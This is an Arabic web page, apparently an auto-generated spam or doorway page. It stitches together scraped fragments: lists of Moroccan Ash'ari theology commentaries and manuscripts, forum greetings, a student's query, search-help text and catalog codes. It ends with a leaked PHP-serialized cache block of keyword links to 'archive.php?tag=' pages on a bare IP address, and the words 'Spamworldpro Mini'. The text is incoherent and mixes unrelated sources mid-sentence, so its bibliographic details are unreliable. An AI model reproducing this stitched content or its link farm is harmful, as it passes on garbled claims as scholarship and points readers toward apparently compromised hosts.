ل... سلام عليكم رايد نسخه من تفسير كشف الاسرار وهتك الاستار... (توشك أن تداعى عليكم الامم كما تداعى الآكل إلى قصعتها أمن قل... اننا على يقين أن هذا الاحتلال إلى زوال وستنتصر القدس وشيخها... تتلخص أهداف  المنتدى فى نشر الوعي الشرعي بخصوص ثوابت الدين وقضايا الأمة الكبرى، وإبراز رموز شرعية من خلال المنتدى لتفعيل دورهم في المجتمعات، وبناء الوعي الحضاري الإسلامي لدى الأمة وتحصينها من خطر الذوبان في الحضارات الأخرى، وتفعيل الطاقات الشرعية الشبابية. ـ شـرح علـى متـن الكبـرى للشيـخ السنوسي، لأبي عبـد الله مَحمد (فَتْحًا) ابن عبد السلام بناني الفاسي (ت.1163هـ)، وله أيضا: ـ شرح الدرة المصونة، والكتاب عبارة عن شرح على منظومة في التوحيد، موسومة بـ«الدرة المصونة» ـ شرح على خطبة المختصـر والمقصود بــ«المختصر»، «المختصر الفقهي» للشيخ خليل. ـ تأليف في العقائد الدينية، لمحمد بن رشيد العراقي (ولد عام 1348هـ). ـ شرح أم البراهين، لأبي عبد الله محمد بن إبراهيم الملالي التلمساني (كان حيا عام 897هـ) وهو تلميذ السنوسي. ـ شرح منظومة عقيدة الموحدين (لصاحبها المطغري الشجريتي) لأبي عمران الجوري (كان حيا عام 598هـ). وقد رأيت أن كلمة مصنفات تحتمل ما جاء تحتها من الأصناف والأنواع خصوصا وأنها تناسب موضوعات بعينها تندرج في صنف مخصوص من العلم هو علم الكلام وأصول الدين. ـ مختصر نظم الفرائد ومبدي الفوائد في شرح محصِّل المقاصد لأبي العباس أحمد بن علي المنجور المكناسي الفاسي (ت.995هـ). مشروع تقني يهدف لتوفير قالب تقني أنيق وحديث يليق بالمحتوى الثري للمكتبة الشاملة، وقد تم التركيز على توفير محرك بحث سريع ودقيق لكافة أجزاء المحتوى، وأيضا توفير تصفح سلس وسهل لمحتوى المكتبة ومتوافق تماما مع أجهزة الجوال، كما تم عمل بعض المميزات الفريدة كميزة التلوين التلقائي للنصوص والتي تم بناء خوارزمية برمجية مخصصة لهذا الغرض. وله أيضا: ـ رفع الخلاف والغمة فيما يظن فيه اختلاف الأمة: تناول فيه الصفات الإلهية، والكسب، والفرق بين القرآن والحديث القدسي ومطلق الحديث، والبدعة وأنواعها. نفائس الدرر من جواهر المختصر/ لأبي عبدالله محمد بن سودة التاودي (ت 1209 هـ)؛ تحقيق لبيب عبدالجليل.- مراكش: جامعة القاضي عياض، 1441 هـ، 2020 م (دكتوراه). ـ شرح عقيدة ابن عاشر لأبي عبد الله مَحمد بن قاسم جسوس (ت.1182هـ) استدرك فيه  على شرح جده، المسمى بـ«الدر الثمين»، ما فاته من الفوائد. حاشية الملوي على حاشية السكتاني على شرح السنوسي على . ـ الكشف والبيان لِما يرجع لأحوال المكلفين في عقائد الإيمان لأبي الفضل فتح الله ابن أبي بكر بن محمد بناني الرباطي (ت.1353هـ). ـ شرح منظومة الأوجلي في العقائد لمحمد الصالح بن عبد الرحمن بن سليم الأَوْجَلِي (ق.12هـ). استخدام علامة السالب (-) قبل أي كلمة لجعلها مستبعدة في البحث. حاشية السكتاني على شرح أم البراهين: السكتاني ، أبو مهدي ، عيسى بن عبد الرحمن السكتاني ( ت 1062 هـ ) مسعود بن عبد المحسن بن علي بن حريب: 1161 هـ 7 - 11: 22: حاشية السكتاني على شرح أم البراهين ـ حاشية على الصغرى، لأبي سرحان مسعود بن محمد جَمُّوع السلوي (ت.1119هـ). ـ فتح الرحمان لأقفال أم البرهان لأبي عبد الله محمد بن عبد السلام البَيْجَرِي المكناسي (كان حيا عام 1149هـ). فتح الجليل في أدوية العليل/ محمد بن مريم المديوني (ت بعد 1025 هـ)؛ دراسة وتحقيق عبدالغفور عطوش.- مراكش: جامعة القاضي عياض، 1441 هـ، 2019 م (دكتوراه). 662. ـ الشرح الكبير على تحصيل المقاصد في التوحيد لأبي العباس أحمد بن علي المنجور المكناسي الفاسي (ت.995هـ) والمتن المشروح هـو النظـم الموسـوم بـ«محصل المقـاصد مما بـه تعتبر العقائد» لأحمد ابن محمد بـن زكـري التلمسـاني. ـ شرح العقيدة البرهانية لأبي بكر محمد بن أحمد الأنصاري الإشبيلي التازي المعروف بالخفّاف (في النصف الأول من القرن 7هـ). ـ شرح على كبرى السنوسي، لعلي بن أحمد الرسموكي الجزولي (ت.1049هـ). ـ الأشعرية عقيدة أهل السنة والجماعة، لإدريس بن أحمد خليفة وله العقيدة الأشعرية: تيسير أدلة، تحديد مفاهيم، توسيع مضامين (معاصر). ـ حاشية على شرح الصغرى، لأبي إسحاق إبراهيم بن محمد التادلي (ت.1311هـ) وله: ـ حواش على شرح الشيخ الطيب ابن كيران على توحيد المرشد المعين ـ شرح توحيد المرشد المعين ـ شرح الصغرى. ـ كتاب المحاضرات لأبي عبد الله محمد بن محمد بن أحمد المقري التلمساني (ت.759هـ). ـ شرح القصيدة التوحيدية، لحسين بن داود الرسموكي التغاتيني (ت.924هـ) والقصيدة التوحيدية لشيخه خالد بن يحيى بن سليمان الكَرسيفي. السلام عليكم ورحمة الله وبركاته .نظر الله هذه الوجوه التي نحسبها في سبيل الله ماضية , ووفق الله الجميع وأعان الجميع لما يحبه ويرضاه.أما بعد:فطلب المساعدة من حضرتكم يتأتى ب ـ واسطة الفرائد في شرح كبرى العقائد لأبي فارس عبد العزيز بن أبي بكر الرسموكي البرجي (ت.1065هـ). ـ شرح الصغرى لأحمد بابا بن أحمد التكروري التنبكتي السوداني (ت.1036هـ) وله أيضا شرح العقيدة البرهانية. منتديات الجلفة . ـ شرح على صغرى السنوسي، لمحمد بن علي الدرعي ابن شرحبيل (ت.1152هـ)، وله شرح آخر على صغرى السنوسي. ـ شرح على خطبة ميارة للمرشد المعين لأبي المواهب جعفر بن إدريس الكتاني الحسني (ت.1323هـ). حاشية السكتاني على شرح أم البراهين للسنوسي/ تحقيق أحمد عارف بن ذو الكفل.- القاهرة: دار الصالح، 1442 هـ، 2020 م. ـ لُبَاب المُحَصَّل في أصول الدين، لأبي زيد عبد الرحمن بن محمد بن خلدون الحضرمي (ت.808هـ)، وهو اختصار لكتابي محصل أفكار المتقدمين والمتأخرين للرازي (ت.606هـ) وتلخيص المحصل لنصير الدين الطوسي (ت.672هـ). السلام عليكم أحبتي انا طالب ماجستير ومعي طلبة أخر واقترح علينا أحد الدكاترة ( حاشية السكتاني على شرح ام البراهين) يقال انها كبيرة لم أرها بعد من يعرف حالها الآن هل هي محققة ؟ ولكم الشكر الجزيل ـ شرح عقيدة الرسالة القيروانية لأبي عبد الله محمد الطيب بن عبد المجيد ابن كيران الفاسي (ت.1227هـ). 1ـ الشروح والحواشي والطرر والتعليقات على المتون والمنظومات العقدية المغربية: ـ الدرة المفردة في شرح العقيدة المرشدة لأبي العباس محمد بن أحمد ابن النقاش الأموي. ـ رسالة في عقائد أهل السنة، لأبي عبد الله محمد بن أبي القاسم الغماري التونسي (ت.1119هـ). ـ مقدمة في العقائد، لأحمد بن موسى العامري(وهو مغمور حسب خالد زهري). ـ مزيد العائد على دليل القائد لكشف أسرار صفة الواحد لمحمد الصالح بن عبد الرحمن بن سليم الأَوْجَلِي (ق.12هـ) والشرح والمشروح كلاهما للأوجلي، وله أيضا شرح عقيدة التوحيد، شرح فيه «صغرى السنوسي». ـ شرح على نظم السنوسية لأبي العباس الوريندي، لأبي الفضل عبد الصمد ابن التهامي گنون (ت.1352هـ). ـ الكشف والبيان لِما يرجع لأحوال المكلفين من عقائد الإيمان لأبي عبد الله محمد بن جعفر الكتاني الفاسي (ت.1345هـ)(2). ـ الفرائد السنية والفوائد السرية على شرح العقيدة السنوسية لأبي زيد عبد الرحمن بن محمد الفاسي، المعروف بـ«العارف الفاسي» (ت.1036هـ) وهي حاشية على شرح العقيدة الصغرى، وله أيضا ثلاث حواشي على شرح الصغرى، وحاشية على الصغرى وشرح عليها. ـ منطق الكلام: من المنطق الجدلي الفلسفي إلى المنطق الحجاجي الأصولي، لحَمُّو النقاري (معاصر). ـ حواشي علي العكاري على «الكبرى»، لأبي الحسن علي بن علي العكاري المراكشي الحسني. ـ الشموس المحمدية في التوحيد للمختـار ابن أحمد بن أبي بكر الكنتي (ت.1226هـ). ـ الاقتضاب والتبيين في علم أصول الدين لأبي العباس أحمد بن محمد ابن البناء المراكشي (ت.721هـ) وله أيضا: ـ شرح المراسم في علم الكلام ـ منتهى السول في علم الأصول وهو جزء صغير في علم أصول الدين. ـ الفوائد العصفورية على العقائد النورية، لأحمد العصفوري التونسي (ت.1199هـ)، عبارة عن شرح على عقيدة الشيخ النوري. ـ شرح ابن كيران على توحيد ابن عاشر لأبي عبد الله محمد الطيب بن عبد المجيد ابن كيران الفاسي (ت.1227هـ). ـ علم البراهين القاطعة لأبي علي عمر بن محمد بن خليل السكوني الإشبيلي القيرواني (ت.717هـ)، وله أيضا: ـ علم الحقائق وقواعد العقائد ـ عيون المناظرات. ـ نفائس اللآلي ونتائج الفكر العالي في شرح منظومـة بـدء الأمالي، لمحمد ابن أبي بكر بن محمد الأزاريفي (ت.1404هـ). إليكم القسم الثاني من الأقسام الخمسة التي أوعبتها في ملخص موضوعاتي لكتاب “المصادر المغربية للعقيدة الأشعرية”. ـ معين على أم البراهين، لأحمد بن محمد رَارَ التنواجيوي (ت.1210هـ). ـ أبكار الأفكار العلوية في شرح الاسرار العقلية في الكلمات النبوية لأبي يحيى زكرياء بن يحيى الشريف الإدريسي الحسني المغربي (كان حيا عام 629هـ). ـ شرح على منظومة «التنبيه والإرشاد»، لبلقاسم بن محمد الزواوي. ـ شرح عقيدة الرسالة القيروانية، لأبي عبد الله مَحمد بن قاسم جسوس (ت.1182هـ). ـ شرح توحيد الرسالة، لأبي عبد الله محمد أبي مدين بن أحمد الفاسي (ت.1181هـ). ـ الإحكام في علم الكلام، لأبي زيد عبد الرحمن بن عبد القادر الفاسي (ت.1096هـ)، وله أيضا: ـ المستفاد في علم الاعتقاد ـ شرح المستفاد في علم الاعتقاد ـ منحة المسكين في أصول الدين. ـ شرح العقيدة البرهانية لأبي القاسم محمد بن عبد الله ابن الزق الزرهوني الفاسي (كان حيا عام 612هـ). ـ شرح العقيدة البرهانية لأبي محمد عبد العزيز بن إبراهيم المعروف بابن بزيزة (ت.662هـ)(1). ـ في أصول الحوار وتجديد علم الكلام، لطه عبد الرحمن (معاصر). يمكن استخدام الأقواس () للتعامل مع مجموعة من الكلمات. ـ حاشية على كبرى السنوسي، لعمر بن عبد الله الفاسي (ت.1288هـ). ـ المنهج السديد في شرح كفايـة المريد للسنوسي أيضا. ـ هداية الأنام في مختصر قواعد الإسلام، لأبي الحسن علي بن محمد القُرشي القلصادي الأندلسـي ثم الباجي (ت.891هـ). ـ إنارة الأفهام في علم الكلام لأبي العباس أحمد بن مبارك السجلماسي اللمَطي (ت.1156هـ)، وله أيضا إزالة اللبس عن المسائل الخمس. ـ شرح على عقيدة الضرير في العقائد، لأحمد بن العباس الشهير بــ«المريض»، أحد تلامذة ابن عرفة (ت.803هـ). ـ شرح الصغرى: الشرح والمشروح كلاهما للسنوسي. إرشاد المحتاج إلى شرح المنهاج/ بدر الدين محمد بن أبي بكر ابن قاضي شهبة (ت 874 هـ), دراسته وتحقيقه في جامعة الإمام بالرياض، 1441 هـ،…. من شروح خليل ، و 250 ، ق 24/16. فهرس الموضوعات. ـ نصح المؤمنين بشرح قول ابن أبي زيد: «والطاعة لأئمة المسلمين» لأبي العباس أحمد الرَّهوني (ت.1373هـ). ـ الفتح الرباني على توحيد رسالة ابن أبي زيد القيرواني لأحمد بن جعفر الكتاني (ت.1340هـ). ـ شرح حلية الأنوار، لمحمد بن إبراهيم الرسموكي الثوري (ت.1212هـ) وهي شرح على قصيدة «حلية الأنـوار في أخبـار دار القـرار» لعبد العزيـز ابن أبي بكر الرسموكي. ـ المنن الإلهية على العقيدة الغلاوية: لمحمد بن أبي بكر بن علي بن الشيخ الولاتي المحجوبي (ت.1137هـ)، شرح فيه «عقيدة» الفقيه محمد بن أبي بكر ابن الهاشمي. ـ شرح نظم «العقائد المهمة لنفع صغار الأمة» لأبي عبد الله محمد بن عبد المجيد أقصبي (ت.1364هـ): وهو شرح لمنظومته. ـ عمدة أهل التوفيق (شرح العقيدة الكبرى) والشرح والمشروح كلاهما لأبي عبد الله السنوسي (ت.895هـ). ـ شرح مختصر العقباني في أصول الدين لأبي الحسن علي بن محمد القُرشي القلصادي الأندلسـي ثم الباجي (ت.891هـ). ـ تقرير المنة بشرح إضاءة الدُّجُنَّة، لعبد الله بن أحمد بن الحاج مصطفى الغلاوي الشنجيطي (ت.1209هـ) وإضاءة الدجنة للمقري الحفيد. ـ أربعون مسألة في أصول الدين لمحمد بن خليل السَّكوني الإشبيلي القيرواني (ق 7هـ). ـ مختصر في أصول الدين، لأبي الفضل قاسم بن سعيد بن محمد العقباني التلمساني (ت.854هـ).  عنوان الشرعة وبرهان الرفعة في تذييل أجوبة فقيه درعة/ لأبي عبدالله محمد بن عبدالله الكيكي (ت 1185 ه‍)؛ دراسة وتحقيق السعيد وديدي.- مراكش: جامعة القاضي عياض، 1439 هـ، 2018 م (دكتوراه). ـ حـاشيــة علـى شــرح العقيــدة الصـغــرى لأبـي زكـريــا يحـيـى ابـن محمـد الشــاوي الـمليـانـي الجــزائــري (ت.1096هـ)، كما له الحواشي على الصغرى. ـ شرح «العقيدة الصغرى للسنوسي»لأبي العباس أحمد بـن أَقْـدَار الـراشـدي (ت. نحو 395هـ): «الفرق بين التأليف والتصنيف: أن التأليف أعم من التصنيف وذلك أن التصنيف تأليف صنف من العلم ولا يقال للكتاب إذا تضمن نقض شئ من الكلام “مصنف” لأنه جمع الشئ وضده والقول ونقيضه، والتأليف يجمع ذلك كله وذلك أن تأليف الكتاب هو جمع لفظ إلى لفظ ومعنى إلى معنى فيه حتى يكون كالجملة الكافية فيما يحتاج إليه سواء كان متفقا أو مختلفا والتصنيف مأخوذ من الصنف ولا يدخل في الصنف غيره». افتراضيا يتم البحث عن "أي" كلمة من الكلمات المدخلة ويمكن تغيير ذلك عن طريق: استخدام علامة التنصيص ("") للبحث عن عبارة كما هي. 663. ص359 - كتاب خزانة التراث فهرس مخطوطات - قبس النيرين على تفسير الجلالين - المكتبة الشاملة الحديثة المشروع لازال في بداياته وننوي إن شاء الله العمل على تطويره بشكل مستمر وسنضع خطة تطوير توضح المميزات التي يجري العمل عليها إن شاء الله. ـ اختصار المحصّل لمحمد بن محمد بن أحمد القرشي التلمساني ثم الفاسي (ت.758هـ). © 2021, جميع الحقوق محفوظة لموقع منتدى العلماء, علم السلف بتحقيق الخلف (29) | الشيخ محمد خير رمضان يوسف. ـ الفصول الجامعة والحدود المانعة في تقريب عقيدة أهل السنة أولي النظر السديد والرأي الصالح الحميد لأبي العباس أحمد الغُبريني البجاوي (ت.714هـ). ـ شرح “التنبيه والإرشاد في علم الاعتقاد” لمحمد بن خليل السَّكوني الإشبيلي القيرواني ـ السكوني الأب ـ (ق 7هـ). هذا آخر ما أمكننا تسجيله من مخطوطات مكتبة جدنا الشيخ سيّدي محمّد بن عزو ز القاسمي الحسني رحمه اللّه قبيل . 2ـ مصنفات في التوحيد وعلم الكلام أو شروح لها: ـ تصنيف في التوحيد لأبي بكر بن الجوزي السبتي. ـ التحذير والتنفير من الأفعال التي تؤدي إلى التكفير، لمحمـد بـن الحسـن ابن عبد القادر العرائشـي المكناسي (ت.1351هـ). ـ الفقه المالكي والكلام الأشعري: محاولة لإبراز بعض ملامح الإبداع الكلامي والصوفي عند فقهاء المغرب لخالد زهري (معاصر)، وله أيضا: فهرس الكتب المخطوطـة في العقيدة الأشعريـة أنجزه بمعية زميله في فهرسة مخطوطات الخزانـة الحسنيـة عبد المجيد بوكـاري ـ القاديانية: «وثائق ومشاهدات» ـ تقنية التعامل مع الكتاب المخطوط: مخطوط العقيدة نموذجا. ـ التعاضد المتين بين العقل والعلم والدين لمحمد بن الحسن الحجوي الثعالبي الفاسي (ت.1376هـ). يمكن الجمع بين هذه العلامات في استعلام واحد، وهذه أمثلة على ذلك. ـ مختصـر حاشية التفتازاني على الكشاف لأبي عبد الله محمد بن يوسف السنوسي التلمساني (ت.895هـ). ـ اختصار شرح «صغرى السنوسي»، لأحمد بابا بن أحمد التكروري التنبكتي السوداني (ت.1036هـ). ـ حـاشية على شـرح العقيـدة الصغـرى للسنـوسي، لأبي مهـدي عيسى ابن عبد الرحمن السُّكْتاني الرَّجراجي السوسي (ت.1062هـ). وقفات مع حديث: “إنما العلم بالتعلم، والحلم بالتحلم، ومن يتحر الخير يعطه، ومن يتق الشر يوقه”. ـ شرح نظم الضرير للمراكشـي، لإبراهيم بن محمد بن إبراهيم التَّمَنَارْتِي (ت.971هـ). ـ التوحيد في مدارج السالكين، لمحمد أمين السماعيلي (معاصر). ـ شرح عقيدة الإمام المهدي لابن رشد الحفيد (ت.595هـ). ـ مختصر المباحث العقلية، لأبي عمران موسى بن محمد الجزولي الشتوكي (ق.10هـ)، والمباحث العقلية لليفرني (ت.734هـ). ـ مقدمة في علم الكلام لأبي محمد (أبي السعود) عبد القادر بن علي القصري الفاسي الفهري (ت.1091هـ). اسم المؤلف. وكفاية المريد منظومة في علم التوحيد لشيخه شهاب الدين أبي العباس أحمد بن عبدالله الجزائري الزواوي (ت.884هـ). من جمال البلاغَة في إنزال اللباس من السماء, من وصايا الرسول صلى الله عليه وسلم: «الوصايا التسع, إعلان عن تنظيم ندوة علمية وطنية بعنوان: القرءان الكريم وفقه الأحكام الشرعية: أنظار في وجوه الاستدلال ومناهج الاستنباط. €43173ƒتفسيرƒعلوم القرآن™قبس النيرين على تفسير الجلالينŒمحمد بن عبد الرحمن بن علي, العلقمي¢العلقمي£969هـ$10هـ¥©دار الكتب المصريهµمصر¶القاهره®1/57¥©الخزانه الملكيه (الحسنيه) µالمغرب¶الرباط®11196 ز¥©خزانه ابن يوسفµالمغرب¶مراكش®271¥©المكتبه الازهريهµمصر¶القاهره® [1157] 24951. ";s:7:"keyword";s:63:"حاشية السكتاني على شرح أم البراهين";s:5:"links";s:2502:"<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%A7%D9%84%D9%88%D8%B5%D9%88%D9%84-%D8%A7%D9%84%D9%85%D9%88%D8%AC%D9%87-%D9%81%D9%8A-%D8%A7%D9%84%D9%87%D9%88%D8%A7%D9%88%D9%8A">الوصول الموجه في الهواوي</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D9%85%D8%AA%D8%AC%D8%B1-%D8%AC%D9%85%D8%B9%D9%8A%D8%A9-%D8%A7%D9%84%D8%A8%D8%B1-%D8%A8%D8%A7%D9%84%D9%85%D9%86%D8%B7%D9%82%D8%A9-%D8%A7%D9%84%D8%B4%D8%B1%D9%82%D9%8A%D8%A9">متجر جمعية البر بالمنطقة الشرقية</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%A7%D9%84%D8%AC%D8%A7%D9%85%D8%B9%D8%A9-%D8%A7%D9%84%D8%B3%D8%B9%D9%88%D8%AF%D9%8A%D8%A9-%D8%A7%D9%84%D8%A5%D9%84%D9%83%D8%AA%D8%B1%D9%88%D9%86%D9%8A%D8%A9-%D9%85%D8%A7%D8%AC%D8%B3%D8%AA%D9%8A%D8%B1-%D8%B5%D8%AD%D8%A9-%D8%B9%D8%A7%D9%85%D8%A9">الجامعة السعودية الإلكترونية ماجستير صحة عامة</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D9%85%D9%88%D8%A7%D8%B9%D9%8A%D8%AF-%D9%88%D8%B5%D9%88%D9%84-%D8%B1%D8%AD%D9%84%D8%A7%D8%AA-%D9%85%D8%B5%D8%B1-%D9%84%D9%84%D8%B7%D9%8A%D8%B1%D8%A7%D9%86-%D9%85%D9%86-%D8%A3%D9%84%D9%85%D8%A7%D9%86%D9%8A%D8%A7">مواعيد وصول رحلات مصر للطيران من ألمانيا</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%B4%D8%B1%D9%88%D8%B7-%D8%A7%D8%B3%D8%AA%D8%A8%D8%AF%D8%A7%D9%84-%D8%A7%D9%84%D8%A7%D9%8A%D9%81%D9%88%D9%86-%D9%85%D9%86-%D8%AD%D8%A7%D8%B3%D8%A8%D8%A7%D8%AA-%D8%A7%D9%84%D8%B9%D8%B1%D8%A8-%D8%A3%D9%84%D8%A7%D8%A8%D8%A7%D9%85%D8%A7">شروط استبدال الايفون من حاسبات العرب ألاباما</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D9%88%D9%83%D9%8A%D9%84%D8%A9-%D9%88%D8%B2%D8%A7%D8%B1%D8%A9-%D8%A7%D9%84%D9%85%D9%88%D8%A7%D8%B1%D8%AF-%D8%A7%D9%84%D8%A8%D8%B4%D8%B1%D9%8A%D8%A9">وكيلة وزارة الموارد البشرية</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D9%85%D8%AA%D9%89-%D8%AA%D9%86%D8%AA%D9%87%D9%8A-%D8%AA%D9%88%D8%B3%D8%B9%D8%A9-%D8%A7%D9%84%D8%AD%D8%B1%D9%85-%D8%A7%D9%84%D9%85%D9%83%D9%8A">متى تنتهي توسعة الحرم المكي</a>,
<a href="http://134.209.76.33/ynp7oxw/archive.php?tag=%D8%A7%D8%B1%D9%82%D8%A7%D9%85-%D8%AA%D9%84%D9%8A%D9%81%D9%88%D9%86%D8%A7%D8%AA-%D8%A7%D9%84%D8%AE%D8%B7%D9%88%D8%B7-%D8%A7%D9%84%D8%AC%D9%88%D9%8A%D8%A9-%D8%A7%D9%84%D8%A7%D8%AB%D9%8A%D9%88%D8%A8%D9%8A%D8%A9">ارقام تليفونات الخطوط الجوية الاثيوبية</a>,
";s:7:"expired";i:-1;}

Spamworldpro Mini